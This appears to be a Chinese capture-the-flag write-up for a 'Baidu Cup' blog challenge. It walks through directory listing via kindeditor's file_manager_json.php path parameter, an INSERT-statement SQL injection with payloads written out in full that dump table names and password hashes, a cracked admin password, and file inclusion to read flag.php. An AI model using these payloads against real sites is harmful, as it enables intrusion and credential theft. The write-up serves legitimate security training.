知识点:
kindeditor编辑器遍历
insert注入
文件包含
 
扫描后台目录得到robots.txt“百度杯”CTF比赛 十二月场--Blog
访问提示存在flag.php,访问得到
“百度杯”CTF比赛 十二月场--Blog
 
尝试注册账号admin,注册失败应该是已经存在,随便注册一个aaa/123登陆后发现post模块
尝试上传一张带一句话的图片后报错,得到路径: /kindeditor/php/upload_json.php
“百度杯”CTF比赛 十二月场--Blog
知道编辑版为kindeditor,搜索相关漏洞,得到利用姿势
/kindeditor/php/file_manager_json.php?path=/
得到目录
“百度杯”CTF比赛 十二月场--Blog
向上访问/kindeditor/php/file_manager_json.php?path=../../
除了 发现之前已经知道的flag.php,没有什么新发现。
“百度杯”CTF比赛 十二月场--Blog
 
看了大佬WP..换种思路,尝试注入
title=1' and '1'='1  返回1
title=1' and '1'='2  返回0
了解到这是一个insert注入
insert into table(columns) values(A1,B1,C1)
虽然insert语句本身没有回显,但是插入的内容会显示在页面中,尝试插入sql语句进行回显
首先要猜测字段数,表面上看有username,title,content这三个字段,但不知道有没有其他
猜测insert语句的值类似于: (username,title,content)
先尝试三个字段,报错“百度杯”CTF比赛 十二月场--Blog
 
 
四个字段成功
“百度杯”CTF比赛 十二月场--Blog
 
说明除了看到的两个字段外,还有一个未知的字段
 
尝试insert插入语句
“百度杯”CTF比赛 十二月场--Blog
不回显。。。
看了大佬WP了解到(我太菜了..) 第四个未知字段可能是个固定值,我们给它赋值时insert语句是不会有回显的
所以我们尝试多条插入,再新建一条插入项,对第四个字段不做赋值,将SQL语句放到第二条插入项中。
最终目的是为了通过SQL查询得到admin账户的密码
 
首先查询数据库名,得到miniblog(我注册的用户名是aaa)
title=p2&content=1','1'),('aaa',(database()),'2
“百度杯”CTF比赛 十二月场--Blog
“百度杯”CTF比赛 十二月场--Blog
继续查询表名:
title=p3&content=1','1'),('aaa',(SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),'3
“百度杯”CTF比赛 十二月场--Blog
“百度杯”CTF比赛 十二月场--Blog
查询列:
title=p4&content=1','1'),('aaa',(SELECT group_concat(column_name) from information_schema.columns where table_name='users'),'4
“百度杯”CTF比赛 十二月场--Blog
“百度杯”CTF比赛 十二月场--Blog
查询password列中字段内容,从而得到已经存在的admin账户的密码
title=p5&content=1','1'),('aaa',(SELECT group_concat(password) from users),'5
“百度杯”CTF比赛 十二月场--Blog
“百度杯”CTF比赛 十二月场--Blog得到:dbb616c5d935d8f34c12c291066d6fb7,202cb962ac59075b964b07152d234b70,202cb962ac59075b964b07152d234b70
依次MD5解密得到 melody123,123,123
尝试admin/melody123,登陆成功
点击进入manager模块
“百度杯”CTF比赛 十二月场--Blog
尝试文件包含读取flag.php
“百度杯”CTF比赛 十二月场--Blog
base64解密得到flag
“百度杯”CTF比赛 十二月场--Blog
 

相关文章:

  • 2021-07-17
  • 2022-12-23
  • 2022-12-23
  • 2021-09-25
  • 2021-05-17
  • 2021-09-10
  • 2021-10-16
  • 2021-06-29
猜你喜欢
  • 2021-04-19
  • 2021-11-22
  • 2021-12-28
  • 2021-08-14
  • 2022-12-23
  • 2021-08-29
相关资源
相似解决方案